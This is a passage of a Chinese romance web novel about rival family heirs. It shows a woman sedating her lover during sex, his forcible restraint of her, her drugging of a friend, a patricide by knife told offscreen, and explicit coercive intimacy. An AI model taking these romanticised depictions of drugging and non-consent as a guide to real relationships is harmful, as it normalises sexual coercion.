话音还未落地,宁惟羽就毫不犹豫地把她撕破,犹如外面那场深夜的暴风雪一样,气势强盛的要填满了整个世界。 “不敢要?” “裴观若,你很美丽。” “站在法庭上振振有词指控我的清高模样格外的美丽,每一次我被你亲手送上被审判席上时,都在视奸你。” “手铐铐不住我的欲望。” “我想把你这身清高的皮扒了,当众,让所有人,整个国际的媒体都直播出来,你是怎么在我弄到髙潮……” “我不敢要?嗯,你觉得我不敢要?” 宁惟羽与她冰冷的额头相贴,俨然像是一头满身伤痕的森林野兽,正处于极度危险的进攻状态。 他在疯狂撕咬这个体温比普通人低,天生冷血,冷心冷肺的恶毒女人。 那道道伤口流淌下来的不是猩红的血,而是滚烫的,粘稠又肮脏的情愫。 而裴观若根本不惧怕他汹涌澎湃的怒意,苍白不堪的身体也像他一样,早已经遍布了看不见的伤,她连哭泣声都没有,抬起的双手抱紧他肌肉紧实的腰背,听他的呼吸逐渐粗重紊乱,“惟羽,我没有母亲了……” 宁惟羽低头看着裴观若这双泪眼,那泪光,被窗口的雪清晰照映着,重叠在了一起,像是刀刃,刺向了他伤疤交错的胸膛。 裴观若说出的话很轻:“没有人知道陈宝翠是谁,外界的媒体密切关注这场官司,却没有一个人会在乎这个名字,陈宝翠是我的母亲啊,她年轻时,被男人花言巧语迷惑了理智,天真以为进豪门就能过上荣华富贵的生活,却没想到走向了地狱。” “陈宝翠出身贫苦,有一对烂赌鬼父母和残疾哥哥,她很小就辍学养家,又没什么文化,只能到风月场所售卖啤酒,她出来卖,卖一晚上都挣不到一条体面的裙子。” “后来她遇到了裴胤。” “裴胤为她断指,为她父母还巨债,还允许她拿私房钱频繁去补贴原始家庭……她以为遇到了真命天子,开始心甘情愿替裴家进行一些见不得光的权色交易。” “裴胤开始不宠爱她了,却故意让她怀孕。” “生下我,陈宝翠的人生就像必须依附宿主才能活的菟丝花,被残忍栽植在了裴家,无法独立生长到外面去了。” “陈宝翠不敢逃,她生的美艳,性格却那么软弱无力……这么软弱的人,她又割喉又跳楼,她为什么不继续软弱下去。” 裴观若漆黑的眼珠子凝着细不可察的猩红情绪,最后说:“宁惟羽,我和你一样,都被母亲抛弃了。” 是啊。 整个宁氏家族也无人知道段宜娉是谁。 也没有人会在乎这个名字。 那么美丽又性格软弱的段宜娉,为什么不继续软弱下去,为什么要放弃自己的孩子,独自走向死亡这条道路。 年幼时起,宁惟羽就一直兜兜转转的在这个世界找身份的认同感,他找不到,哪怕被老爷子亲自寻回认祖归宗,可是宁琛启到死都不认他。 段宜娉不要他。 宁琛启不认他。 他就只是想要一个名字而已,一个父母认可的名字。 裴观若轻轻松松就把他五脏六腑都绞紧了,不用什么力气,慢慢地,又用最温柔的声音轻轻喊他:“惟羽,我们要个孩子吧,要一个属于我们彼此血脉相连的孩子。” 宁惟羽滚烫的欲,好似顷刻间进到了更深的地方。 “这样我们都有家人了。”裴观若的体温随着他的身躯体温骤升,指尖却始终是冰冷的,她沿着宁惟羽修长侧颈的青筋,抚摸到了脸庞,又流连在五官和深邃危险的眉眼。 倏地,宁惟羽把她手指攥紧了,又形成十指相扣的亲昵姿态,压制在了枕头上。 裴观若承受着,他给多少,她都高高仰着这张和私生女命运极不相称的美丽高贵脸孔,都如数承受了下来。 宁惟羽在她这里,选择了暂短的沉沦进了这个虚构又梦幻的故事里。 有个孩子。 一下轻微的刺痛,毫无预兆地出现在了脖颈上,宁惟羽的幻想被中断,他下意识地盯着高大身躯下方正与之紧密无缝着的裴观若,继而,看到她手指握着针剂。 是镇定剂。 裴观若声音轻轻柔柔的:“别恨我,你该感谢我,连想怀孕,都选择了找你做我孩子的亲生父亲。” “裴观若。”宁惟羽神色黑暗中倏然变得异常愤怒,去掐她:“你又利用我?” 裴观若再度感到窒息的痛苦,却耐心等待着,等药效发作,他剧烈地喘,却在被轻轻一推后,只能从她的身体摔到了地上。 裴观若也同时从床沿坐起来,抬起白皙的脚,踩在宁惟羽这具高大强壮的身躯上,那从纤瘦骨感的脚踝处流下来的,还有几滴,也坠到了他心脉上:“抱歉,我还有更重要的事去做,这些东西已经足够了。” 她要走。 随着话落地,甚至拿走了宁惟羽的衬衫穿在身上,正弯腰,去捡西装外套时……脚踝突然被暴涨温度的手掌紧紧攥住。 裴观若低头,对视上了宁惟羽带着幽暗而偏执的眼神。 药效发作的情况下,他力气还很大,几乎不容许她挣脱,重重地一拽,裴观若突感恐惧的下一秒,整个人又天昏地转,也摔倒在了地上。 她本就憔悴的身子骨禁不住这样,脑袋晕眩的同时,下意识去抬起了膝盖,疯狂去去踹去踢,都于事无补的让宁惟羽神色疯狂又凶狠地重新撕碎了那系好的衬衫纽扣。 裴观若往病房外爬一寸,宁惟羽就将她往黑暗的最深处拖一寸。 寸步不让的,像是猛兽死死叼住了濒临死亡的猎物,继而以长指掐住她脖子,逼她完全放弃抵抗。 直到突然间,裴观若身体被腾起一股热意,又感知到宁惟羽药效彻底散发到骨髓,渐渐地,随着力度也没了。 她停止颤抖的呼吸,等宁惟羽躺在地上彻底昏沉睡过去,才穿起一旁已经被撕烂了的衬衣,用西装外套包裹住自己,凌乱的脚步无比坚定地离开。 …… 半夜的雪势不知何时弱了不少。 温暖的主卧内,林稚水原本裹着蓬松柔软的被子好好的睡熟着,却猛然惊醒过来,在这瞬间,她睁大了双眼,脑子似乎反应过来了。 裴观若想做什么!!! 她立刻去拿床头柜上的手机,给宁濯羽发消息,让他现在去医院察看情况。 没猜想错的话。 裴观若不是为了今后能安然度日主动去化解和宁惟羽之间的私人情仇,她压根不在乎,她被仇恨支配了理智,极有可能是想要再度求合作的…… 林稚水同时去衣帽间换了身出门的衣物,又吩咐管家备私人飞机。 去深城。 她顾不得宁商羽先前嘱咐的话,要她安全待在宁氏家族权势所掌控的地界里,她必须要拦下裴观若。 泗城的雪花落不到深城地界就消融在了空气里,天际泛白时,裴观若还未迈进那座隐于幽暗树影的裴家大宅,就被保镖先拦阻住了步伐。 她冻得僵直的身体站在原地,视野逐渐地看到林稚水出现在了稀薄的天光下。 “观若。” 林稚水显然在这里等了很久,一步步走近:“你跟我回去,你好不容易从裴家逃离出来,不要被仇恨蒙蔽了心智,再重新踏足这个地方……” “别救我了稚水。”裴观若眼眶很红,连声音都带一点哽咽,而提及裴胤这个人时,又透着压抑不住的冰冷:“我要他偿命。” 林稚水怔了怔反应了一会儿。 她原以为裴观若是私下同宁惟羽做了什么交易,想谋取到筹码回到裴胤身边潜伏起来,在最关键的时刻给裴家致命一击。 岂料,裴观若等待不了那么久时间。 天光映在她漆黑瞳仁的眼底,融化不了那股入骨髓的恨,“我母亲跳楼自杀的那一刻起,他就该下地狱去赎罪,这些天,他多活一秒都让我无法忍受。” 无论是林稚水慈悲心肠给她已经谋划好了未来崭新的人生,还是裴家竞争港口失败后,百年根基逐步不稳,开始出现了颓败的现象—— 裴胤迟早会有应得的下场的。 可在裴观若心里,她终究无法站在虚无的高处去拥有这种沾染了母亲鲜血的自由,她的翅膀受伤了,再也飞不起来。 林稚水下意识去握她手腕,冰凉到没有一丝体温,语气加重:“你不要这样,观若,陈宝翠不会想看到你这样。” “我也不想这样,一开始我领了裴胤给的任务,私下虽然找上了宁惟羽秘密合作,却是真的想拿港口给裴家换取自由。”裴观若说完,顿了片刻…… 继而,她声音不再那么冷静,胸口隐忍着很痛苦的情绪,又说: “稚水,我投靠过所有人,所有能让我自由的人……唯独除了自己。” “让裴胤偿命这个事,我不想押注在任何一个人身上了。” “我要他死,现在死。” 林稚水替裴观若感到难受,已经满满都是悲痛,呈在琉璃一样的眼眸里:“好好,我不阻止你,但是观若,请你告诉我全盘计划好吗?” 裴观若抿起了没有血色的唇。 而林稚水放轻声音说:“观若,我们现在去深城随便一家酒店,找个安静安全点的地方好好商议下你的计划,你是相信我的,对吗?” 相信这个词充满了希望。 裴观若看着她,突然慢慢的笑了笑:“我一直很相信你能救我于水火,小时候在宁家那次,裴以稀在后花园放狗咬我,你可能真不记得了,你才那么小,眼睛还看不到,却是第一个冲出来护我的。” 林稚水表情茫然是真的,一直没寻到合适时机问问她当年的事。 裴观若看在眼里,往下说:“没有你,宁氏家族的金贵小少爷怎么可能会冒着生命危险去徒手杀死那只狂躁的恶犬,如果没有你,等大人们赶来,我哪怕不被咬死,也会彻底毁容。” “宁氏,金贵小少爷?” “宁商羽没有跟你提起过?” 见林稚水脸蛋的茫然表情更明显,甚至轻轻摇头,裴观若又说:“我原以为你不记得自己救过了谁,竟然是把宁商羽也一起给忘记了,是他,稚水,是他从恶犬獠牙下救了你,后来裴以稀还因为这个,一直在私下疯狂暗恋着宁商羽。” 这信息量有点太大,林稚水心绪被冲击的有点混乱起来。 裴观若眼神充满虔诚,“稚水,谢谢你当年救命之恩,也谢谢你现在还想救我……我想抱抱你,可以吗?” 林稚水回过神,手指温柔又力量的攥住她一直没有松开过,就像是竭尽全力地,想把无论是幼年的,还是成年的裴观若都从深渊里拉出来, “抱完,你可以先跟我走吗?” 裴观若平静至极的点点头。 林稚水心里松了口气,倾身靠近,主动给了她一个拥抱。 “谢谢你稚水。”裴观若的声音很珍重地出现在耳边。 林稚水欲开口,忽而眉心紧蹙了一下,她觉得脖后被针扎了下,微微刺痛的感觉不像是虚幻的,很真实。 不可置信地转头,对视上裴观若眼神:“你。” 随着最后一缕天光被日出的璀璨阳光覆盖,下秒,林稚水的身体也软了下去,裴观若将她小心翼翼的扶住,继而,抬头看向了正前方街道树荫处缓缓现身的男人身影。 待宁濯羽走至面前。 裴观若主动把陷入昏迷状态的林稚水交到了他手臂上,后退半步,轻声说:“这点剂量不会伤及她身体,请把她送回港区……她母亲身边吧。” 宁濯羽黑色长卷毛的发尾半扎,寒风袭来,几缕散在他极艳丽深邃的五官处,神色也极其冷冰。 他在暗处没阻止这一幕,是因为先前去医院途中,就得知裴观若用一针镇定剂,把宁惟羽给先奸后迷昏在病房里了。 而她,不知所踪。 林稚水非要救人,不惜亲赴深城来,显然在清醒的状态中无人能劝得住。 宁濯羽这次默许了裴观若这种冒犯的行为。 更不会多管闲事,阻止她去做一些事。 裴观若一直站在原地,注视着林稚水被宁濯羽抱走的身影彻底消失在金灿灿的光里,她也转了身,依旧穿着宁惟羽的衬衫和宽大西装外套,双腿一步又一步迈着,朝裴家那座大宅重新走去。 前方好似有陈宝翠的模糊身影。 裴观若始终记得跟母亲分别的每一面,从很小时候,她出门求学,到逐渐长大,去更远的地方求学。 只要出门,陈宝翠都会穿着最漂亮的裙子和站在清晨的阳光下对离开的她热情挥挥手。 妈妈…… 裴观若心里默念这个甘愿为她奉献了生命的伟大称呼,此时此刻的她,竟然才后知后觉意识到,哪怕有多少苦难压身,只要待在母亲身边就足够幸福了。 等等我。 陈宝翠,你要等等我…… 三个小时足以发生很多事。 当林稚水猛地睁开眼那瞬间,就意识到了已经回到港区林家,这个她居住了十八年的熟悉卧室里,无论是嗅觉还是视觉,什么都是熟悉的,以及母亲身上的香水味。 她脸沉在柔软枕头里,睫毛从一开始睁开到闭上,又剧烈的颤抖起来。 过几秒,坐在床沿陪伴了她很久的盛明璎抬手,轻轻抚摸着她头发:“裴观若亲手弑父……” “我知道了。”林稚水声音尽量平静。 卧室的窗半开,外头日光是最盛的时候,顺着窗斜斜落在床头。 她说完这句,被光照到,喉咙也好似突然失去了语言能力。 盛明璎说:“裴观若主动自首,已经被深城的警方逮捕,她跟律师声称是用窃取到了宁氏家族项目机密的理由,在书房跟裴胤单独相处,趁他不注意用药剂先迷晕,后用水果刀,砍了他四十二刀。” 陈宝翠十九岁跟了他,二十一岁为他生下裴观若,死于四十二岁。 每一道血淋淋的伤口,都是裴观若亲手替母亲讨的公道。 短暂的安静。 林稚水泪珠儿顺着脸颊滑落,从无声的哭,到逐渐哭出了声音。 她虽然年幼时是一个高敏感高需求的孩子,可自从乳牙换完以后,就很少哭过,如果只是单纯的掉下几滴眼泪,那多半是难受了,很快就能自我缓解过来。 只有真正伤心的时候,才会像小孩子一样喊着妈妈的哭法。 “我就差一点,差一点就拦下她了。”林稚水扑在盛明璎的怀里,泪水浸透了母亲的衣领内,从锁骨一路地往胸口全数滴去,牵动着心脏。 盛明璎抱着她哭得太用力就容易发烫的身体,极轻叹了口气,“善善,这是裴观若自己的选择。” 裴观若的恨,在法庭休克性晕倒那刻起,就注定要拿裴胤的命来消。 她不会心甘情愿等待。 裴家百年基业,哪怕要被吞食,也不是一朝一夕能发生的事。 万一裴胤断尾求生,有底牌还能继续在这个世界苟且偷生,能比陈宝翠多活个数年,裴观若不愿错失这个唯一千载难逢的机会。 她哪怕被仇恨蒙蔽失了智,也清楚,错过这次,只要裴胤从这场资本权利浪潮的风波里稳住根基,以后,她就再无可能…… “她知道你能救她,所有人都知道她可以选择另一种人生。”盛明璎低头,注视着林稚水这双蓄满泪水的琉璃眼,每一滴泪都是仁慈的,都像极了丈夫当年的仁慈一面,话顿了许久,才说: “裴观若就因为活得太清醒了,清醒知道自己,必须这样做。” 所有人都很清醒,可是裴胤死了,还有裴以稀上位…… 林稚水忍着哭腔说:“我知道了妈妈,她的计划不止是弑父这么简单,她,她肯定要亲眼看到整个裴家都毁灭,才肯收手。” 所以裴观若苏醒后,第一件事是要见宁惟羽。 林稚水突然有了某种猜测,仰头怔了许久。 盛明璎一点点把她泪水擦拭干净,哭到连脸颊旁的发丝都湿透,摸了摸那透红肌肤:“你真的很聪明善善,我想,裴观若应该会拿裴家一些见不得光的机密黑料,去跟宁氏家族合作,她暂时不会让自己入狱。” 但是裴观若不想让林稚水卷入进来了。 雨夜那次,她孤立无援,为了母亲才去求林稚水再救自己一次。 如今真正孤立无援…… 盛明璎提点林稚水:“裴观若的计划没你,但是有宁氏家族,就看她的筹码,能不能入的了宁商羽眼。” “入不了的。”林稚水对枕边爱人的了解颇深,哭泣到了,说话仍带着浓重鼻音说:“宁商羽太傲慢了,他有自己的商业布局,不会被裴观若的投名状打动。” “所以裴观若给自己上了双重保险,善善。”盛明璎看她的小表情,又揉了揉她脸蛋:“裴观若跟宁惟羽有私情,如果肚子里怀上一个孩子,宁氏家族会救她的。” 宁惟羽本身就被老宅极其器重,而这个家族的体系,也非常注重每一个子孙。 裴观若把自己压在了赌注上。 如果老天垂怜,她还能赢一次,如果命运不公,她已经了结裴胤这条命,也值了。 林稚水在计划之外,盛明璎某些方面和宁商羽极有默契,都是一副态度:“这事你别管了,好好在家休息。” 林稚水每次伤心哭一场,都不可避免会高烧起来。 哪怕盛明璎提前吩咐阿泱熬制了药汤给她喝,到了夜晚,还是烧起来了,人晕沉沉的,就趴在被窝里继续无意识抽抽搭搭的掉眼泪。 盛明璎又公司项目缠身,无法一直在床边陪她。 阿泱阿琴阿瞒三人轮流半小时的陪,直到快凌晨之前,原本在美国进行港口项目谈判中的宁商羽突然现身了。 阿泱惊讶之余,赶紧把这位位高权重的姑爷给请上了楼。 她比划着手语,“善善不是故意想哭的,她小时候就这样,一遇到伤心事,就躲在梦里哭,体质又不好,一哭的急,这高烧就冒上来啦。” 宁商羽还穿着非常正式的纯黑西装,罩着大衣,显然下了飞机就没换洗过,直接朝林家赶来了。 阿泱不知道他中途下谈判桌意味着什么。 等人进卧室,便招招手,让阿琴和阿瞒都赶紧出来。 房门重新被轻轻关上。 宁商羽朝床边走去,琥珀色的眼眸被一盏台灯暖黄色的光晕衬得反而幽深起来,他低低注视着躲在被褥里还在蹙着眉小声抽泣的林稚水。 过半响,俯身靠近,伸出手臂把她抱出来,那褪了汗的柔软身躯热乎乎的,跟什么力气都丧失了般,都用来哭了。 “林稚水。”宁商羽低声问:“你是梦见什么了,哭的这么伤心?” 林稚水把被泪水泡红的脸蛋下意识埋在他充满安全感的胸膛前,将醒未醒,忽而,就在宁商羽要拿旁边的干爽毛巾,给她浮着细汗的后背擦拭一遍时,她小声,特别小声说:“小哥哥。” 宁商羽手掌停顿了一下。 林稚水很大颗的泪珠儿从紧闭眼尾的红痣打滚下,往他的西装砸, “小哥哥抱我去找姐姐,被狗吃掉了。” 她在做梦。 梦见的是三岁时发生的事,才哭得这么伤心欲绝。 第68章 林稚水眼睛白茫茫的一片,像是被暴风雪侵袭过似的,什么都看不清,整个人变回了眼盲时期的小小孩童,在梦里,又经历了一遍当年在宁家的事。 她梦到了十岁的宁商羽,他抱着自己去寿宴席上,跟一群地位显赫的家主玩游戏,后来她闹着要去找姐姐,突然离席,举着导盲杖走。 宁商羽追上了她小步伐,又抱她,往后花园去。 后花园有很多人,宁商羽一现身自然就是万众瞩目的,他被人环绕住,热闹得不成样,而她,小小的一个,就跟鱼尾似的转瞬便滑走了。 梦境重新白茫茫一片。 林稚水等意识到将会发生什么危险时已经来不及阻止,突然间,有个黑色的巨物从头顶掠来,把她和裴观若都扑在了种植着珍贵稀有的一片花草丛里。 是狗。 一只体型被饲养的比藏獒还要威猛的罗威纳犬。 林稚水为了救小腿已经被咬得渗血的裴观若,努力地拿导盲杖打到了它,也激怒了它的主人裴以稀,于是耳边一直听到裴以稀在尖叫,命令着,说咬死她咬死她! 林稚水眼盲缘故,听力就很灵敏,耳边被吵得头痛欲裂,也哭的厉害,拼命的想摆脱这个噩梦般的巨型恶犬。 后来,黏稠的血溅满了她白里透粉的小脸,也溅进了那双干干净净没有被污染过的琉璃眼睛里。 眼珠子很痛,犹如白色浓雾封锁的视线仿佛被血滴到后,温度将她活生生烫得清明了一瞬。 宁商羽的脸一闪而过。 林稚水想叫他,想叫他,却倏地有双手臂抱着她迅速离开了这个危险的地方,从惊惧混乱的人群大片尖叫声中…… 她听到。 有人说,狗吃人了狗吃人了!!! 林稚水不甘心,反反复复的想抓住这短暂的一幕,想看清宁商羽的脸。 她躲在梦里哭,被宁商羽喷涌的鲜血溅落在瞳仁里,沿着渗出的泪将白净的脸颊都给染红了,直到被熟悉的温暖覆盖。 有人在梦外,用毛巾也用指腹,将她的泪和汗都擦拭去。 林稚水因情绪产生的生理应激逐渐缓和下来,过了很久,她醒来了,第一眼看到的是宁商羽的喉结,慢慢往上移,是线条精致凌厉的下颌至五官,最后是那双能揣摩品味很久的琥珀色眼眸。 原来宁伤鱼小哥哥长大后,这么好看啊。 林稚水还被困在三岁的魂魄里,不眨眼地盯着宁商羽看,落地台灯的光把他浑身都镶了一层朦胧的金边。 她这副情态模样,显然还没回过神。 气氛安静极了,就衬得宁商羽的动作被无限放大,他俯身将林稚水重新压回被褥里,顶开那唇齿间,探进去,比她还在低烧的体温更高,占据着心房。 林稚水柔软的像丝缎,刚睡醒是没什么力气的,只能任由宁商羽勃勃鲜活的温度抵入无可再深的地方,将雪白的身体逐寸变成胭脂红。 太乖了。 像置于透明玻璃盒子里精致小洋娃娃一样,瞳仁很大,又清透又无辜,胸口起伏的微弱呼吸要伴随着他的力道,才好似知道要吸气。 而宁商羽手掌轻轻抚摩她脸蛋,与此同时,也不疾不徐地击碎无数次她那层自带的圣洁玻璃罩。 直到林稚水终于烫乎乎的缓过魂来,被他面对面搂在胸膛前,嘴唇贴着白嫩的耳廓低而清晰的问话: “我是谁?” “宁伤鱼。” “谁?” “宁伤鱼。” “宁伤鱼是谁?” “我的小哥哥。” “小哥哥是谁?” “宁伤鱼……宁伤鱼,是宁伤鱼……” 无论怎么问,林稚水眼下梦醒过来,什么都不认,只认年幼时误打误撞遇到过的小哥哥。 她竟有种失而复得的情感充沛着胸口,那点儿在意的,委屈和欢喜都从心底犹如沸腾的水一样,弥漫了上来,再从又红又热的眼尾泄露出去。 借着灯光,林稚水忍着骨髓透来的酥麻滋味,就这么坦诚看着宁商羽,隔了很久才不是很甘心的,仿佛又要哭了般说:“这桩联姻不是天降的,是你亲自要的,你知道我对什么香料过敏,知道我常用什么药和喜欢吃什么,珊瑚研究所也是你一直准备好送我的,你关注了我十五年时间,对吗?” 他在等她长大,十五年后……她十八岁了,就来港区林家要人了。 宁商羽没死。 死的是那只作恶多端的罗威纳犬。 林稚水忍不住将手心贴着都鼓起来的肚子,他的一部分,还留在身体里。 继而,她又抱紧他,保持着这个姿势在被褥里,红润的唇颤着,声音掺杂着哭腔和无措:“我不是故意把你忘记的,我,我以为你死掉了。” 记忆陡然苏醒得过猛过快,一场高烧,把她的魂魄都烧回了过去。 宁商羽搂着她的手臂肌肉倏然收紧,散发出强烈的雄性荷尔蒙气息,几乎要把她淹没,过半响,才低俯,与她额头对着额头:“稚水,你叫林稚水,林间稚水的稚水。” 她哽咽呢喃,“嗯,我叫林稚水。” “忘不忘记,都不妨碍十五年后,我得到了林间的这捧稚水。”宁商羽是真正意义上的得到,手掌笼罩着她的双膝,衬衣下摆,线条紧实的腰腹极具爆发力,每一下,都伴随着掌中人的轻微打颤。 林稚水的魂魄被宁商羽从梦里彻底拽回来了,只能依附在现实中的他身上,指尖指节透着粉色,揪着那衣领,水光的清透瞳仁专注地看着他。 几乎是鬼使神差般,她忍不住,嗓音微颤说:“我爱你。” 宁商羽并没有回应这句话。 “我爱你……你爱我吗?”林稚水仰着头,睁着眼紧紧盯着他被灯光衬得像是熔化的琥珀眼,一个幽暗到深不见底,一个纯粹干净到把满腔的爱意都盛在了里面。 宁商羽被她倒映着,手掌扣着那汗湿的细腰窝,许久才低声道:“这很重要?” “重要。”林稚水承认自己是个天生就需要很多爱来浇灌的,这桩婚姻倘若她不爱宁商羽,彼此都是各取所需的利益关系,她也认了,也不渴望用爱来小心翼翼的脆弱维护着。 可现在不一样,林稚水希望自己和宁商羽这桩婚姻是有爱情的。 但是宁商羽始终很冷静,理所当然似的,认为她年幼时无意中推动了他一次命运后,就必须属于他了。 林稚水感受到奔涌的滚烫血液在身躯里慢慢冷了下来,到宁商羽的撤离,他眼中都惊不起一丝名为爱意的波澜。 卧室的空气仿佛凝住了,谁也没再出声。 “我对你有性渴望。”宁商羽在暗处,眼神盯着她安安静静垂下近乎湿透的睫毛,嗓音强势又低沉:“非常强烈。” 这话是在回应。 站在居高临下的角度,理智又客观地告知,彼此间的这桩联姻并不存在任何风险,哪怕没有爱情。 林稚水指尖开始揪着被褥上的刺绣丝线,就跟揪着自己心尖似的,好似扯一扯,会不那么难受,数秒后,她点点头:“我懂的,你对我没有爱情,但是你生理性上……对我有非常强势的占有欲望。” 宁商羽婚前极度禁欲,只对至高无上的权力野心勃勃,不屑于对生理欲望俯首。 然而,随着她健康平安的长大。 这一切才发生变化,但是他对她这具娇弱弱小的身躯,只有征服占有,无关爱欲。 林稚水心里清清楚楚告诉自己认清现实,也别被自己那股满腔爱意冲昏了头脑,却不想继续看宁商羽眼神了。 她有点儿回避似的,突然说自己口渴了。 宁商羽去倒水过来,而林稚水乖乖就着他的手喝,温热的水沿着喉咙淌遍全身上下,这样好似能让她感到舒服了一点。 喝完之后,林稚水就蜷缩回了尚且残留着他浓烈味道的被褥里,把眼睛闭上。 过两秒,传来了水杯搁在床头的声响,紧接着,宁商羽俯身,亲了亲她的雪白后颈和耳后,嗓音低了低:“稚水,你是跟我一起去洛杉矶,还是先留在林家?” 宁商羽中途从谈判桌下场,时间紧迫,无法在这里久留。 他陪了她半宿,天还未亮,就该动身折返了。 彼此离得这样近,好像溢出的每一个字都能沿着唇间滑进去,林稚水没躲开,只是声音含糊地说:“我想在妈妈身边多待点时间。” 宁商羽沉默了片刻,最后又俯首贴近过来,薄唇碰了碰她:“那你不能再高烧了,否则我让濯羽连夜送你回来。” 他的话很霸道,始终都是用“回来”二字。 明明在林家,这个养育了她生命的地方,才是家。 宁商羽却傲慢的把待在他身边,比喻成了家,在断续的亲吻中,一直要等她点头了才肯罢休。 林稚水和他距离贴的越紧,就越压抑着那股委屈的情绪,声音细得像妥协:“我知道了,我会很乖的,收购项目的事耽搁不起,别让人抢走了,你快去吧。” 宁商羽还没走,手掌不疾不徐地探到被子里,触碰到她有些破皮的腿根,“要我抱你先去清洗一下么?” “不要了。”林稚水几乎是下意识地,去推他修长有力的腕骨,不让碰,于是主动凑到他耳边,想把他哄走:“我自己会洗,等睡饱了有力气下床,会去浴室洗干净的,到时给你拍照检查……” 宁商羽没有真正纾解出来,他每次都要很久,所以林稚水身上还好,倒也没有一塌糊涂的,没法看。 等费尽心思把他哄走。 随着卧室的门重新关上,林稚水往被子下缩了缩,睫毛半垂,没有把时间浪费在睡觉上,而是头脑很清楚,自己现在最需要消化的时间。 平平静静的消化掉宁商羽跟她之间是没有爱情的…… 等彻底缓过来,林稚水继续很平静的摸索到手机,指尖轻轻点着,将微信上的宁商羽置顶待遇取消了。 把他的备注改成:【联姻对象】 她的小心脏不再跟着联姻对象转,反倒是联姻对象隔一个小时就隔着太平洋给她发来消息。 林稚水已读不回。 她在林家生活的很好,早餐陪盛明璎吃完,午餐和晚餐都是跟阿泱她们一起吃,这种状态就跟婚前一样。 宁商羽隔日,实际上就已经派来宁濯羽接她了。 林稚水连门都没让宁濯羽踏进来半步,摆明了是迁怒,但是她不会承认的,对外冠冕堂皇的借口是不在家,要么去万露的裁缝店选料子了,要么就是跟盛明璎去参加晚宴了。 总而言之,宁濯羽蹲守门口都没用,注定要不到人。 盛明璎似乎也察觉到她微妙的躲避态度,早餐时,看了会财经报纸上的国际新闻,忽地,唇色艳丽至极的勾起弧度,慢悠悠提到:“阿瞒说你这几日晚上做梦都在叫他名字,这么思念,怎么不回他身边去?” 林稚水在家中,只要身体不适没彻底痊愈之前,阿瞒会有半夜偷偷的摸进房间,关心她的习惯。 忽然听到自己竟然睡梦话。 林稚水微怔,随即声音带点儿刚起床时软软的慵懒意味说:“他不爱我,我为什么要跟他待在一起?” 盛明璎听笑了一下。 林稚水没问母亲为什么要这样笑,或许是这番话对于资本野心家而言,过于幼稚。她垂眼,默默地给自己夹了一个玉米蒸饺吃。 盛明璎应对公司大小事务就已经够心身疲惫了,无暇顾及她的小心思,不过出门前,展露出了几分母爱关怀:“你不要天天待在家里,把自己待成了豪门怨妇,出门玩吧。” 林稚水仰起脸蛋,浴在暖意融融的日光下,充满期待地问:“妈妈,那我可以去深城吗?” 一周时间过去。 裴观若弑父的案子已经有所进展。 林稚水口头上不说,却隔三差五的刷新闻稿子,想从里获取点儿消息。 都太官方了。 盛明璎将沙发手扶上的杏色羊绒大衣拎在手上,又看了她眼,语调很冷静道:“裴胤死了,如今的裴家是裴以稀上位,她没有让案件公开审理,也明确拒绝接受任何媒体采访,因为她要裴观若被立即施行死刑。” “我知道,我只是问问……”林稚水那双清透如水的琉璃眼始终盯着母亲,乖巧懂事的坐在椅子上没动,手指还握着勺子,轻轻的说:“妈妈不同意让我去,我一步都不会踏足深城的。” 盛明璎有些无奈:“善善,裴以稀现在疯了,裴家人人自危,你不要卷入这场你死我活的斗争,答应我,只是去看一眼裴观若就回港区。” 安静了秒,林稚水浅红色的唇角扬起微微的笑,做出承诺:“我不会出现在裴观若面前,她应该也不想看到我,妈妈,我就远远的看……” 盛明璎最后说道:“宁濯羽都快成我们家看门狮了,让他保护你去。” 有宁濯羽如影随形,盛明璎对她的人身安危才能放心下些。 而林稚水能获得恩准出门,自然不会在这个事上跟母亲倔脾气,等慢吞吞的完早餐,她上楼换了一身冬日穿的白绒绒长裙,搭着极脚踝长的大衣,很保暖。 林稚水可不愿出门一趟就生病,非常珍惜外出机会。 宁濯羽穿着西装马甲,终于把她守到,跟没事人似的聊起天来:“我尊敬的兄长大人可要回国了,你什么时候回家?” 林稚水好脾气地柔声说:“我就在家里啊。” 宁濯羽轻轻一挑眉:“不是吧,裴观若那药剂打你脑子里了?怎么说话都糊涂了,你家不是在泗城么,什么时候在港区了?” 宁氏家族的男人都这么霸道,林稚水领教过,眉眼的情绪极为心平气和,并不想在这种话题上跟他呈口舌之快。 不过去深城的一路上,林稚水开始用非常正宗的粤语跟他友好沟通。 她说粤语。 宁濯羽又不会,就开始各国语言齐上阵,当聊到宁商羽用上百亿美元的筹码即将在这场竞争激烈的博弈谈判桌上成为唯一的赢家时…… 林稚水假装小文盲,微微歪着头听不懂了,拒绝接收宁商羽任何消息。 宁濯羽饶有兴致地问:“法语听不懂啊?” 林稚水给他比划哑语:“我没上过学。” 宁濯羽看不懂哑语:“什么,你上知天文下知地理?” 林稚水慢慢的把抬起的纤细手指放下,瓷白的脸蛋往窗外转过去,懒得搭理他。 宁濯羽备受冷漠也无所谓,等到地方,单手斜插在裤袋里,另一只手拿手机正漫不经心的远程给宁商羽汇报她外出细节。 细到比如林稚水又装小文盲又装小哑巴,都如实发过去了。 很快,宁商羽回复了言简意赅的几个字:【带她回来。】 …… 林稚水来深城没有对盛明璎的话阳奉阴违,她只是很低调去了一趟收监裴观若的牢笼,纤细的雪白身影站在隔着巨大玻璃墙外,亲眼看看裴观若。 裴观若乌黑的头发剪短到了肩头,穿着松垮厉害的蓝白条纹衣服坐在墙角处,她脸垂着,紧紧缩着暴瘦病态的身体,不让艳阳的光线照映到自己一分一毫。 负责二十四小时看押她的人说,裴观若状态很不好,整个人阴郁又颓废,始终对弑父一事保持沉默。 林稚水注视着那抹单薄吓人的身影,启唇问:“裴家有人来找过她吗?” 对方犹犹豫豫道:“有,裴以稀来过一次,没让保镖动手,她跟疯了一样,谁也拦不住对裴观若拳打脚踢了一顿……” 裴家在深城势力太大,也无人敢拦。 当时,裴观若毫无求生意思,都懒得反抗,浸透了恨意的眼眸盯紧着裴以稀,“妹妹,没了裴胤为你撑腰铺路,我劝你还是留点力气好好守住裴家百年基业。” “你闭嘴!” 裴以稀呼吸急促,也对她恨之入骨:“你跟陈宝翠都是在从男人堆里觅食的下贱货色,我裴家给你一口饭吃,你忘恩负义,狼心狗肺,还敢反咬一口……” 裴观若像个褪了色生锈的木偶蜷在地上,快把喉咙强行咽下的鲜血都险些笑出来后,略带恶意地说:“你裴以稀又高贵到哪里去呢,裴胤给你留了一大堆私生子女,我就等着,等你是有本事一个个杀完,还是被他们联手生吞。” 裴以稀最后被这番话刺激的,又当场疯了一次。 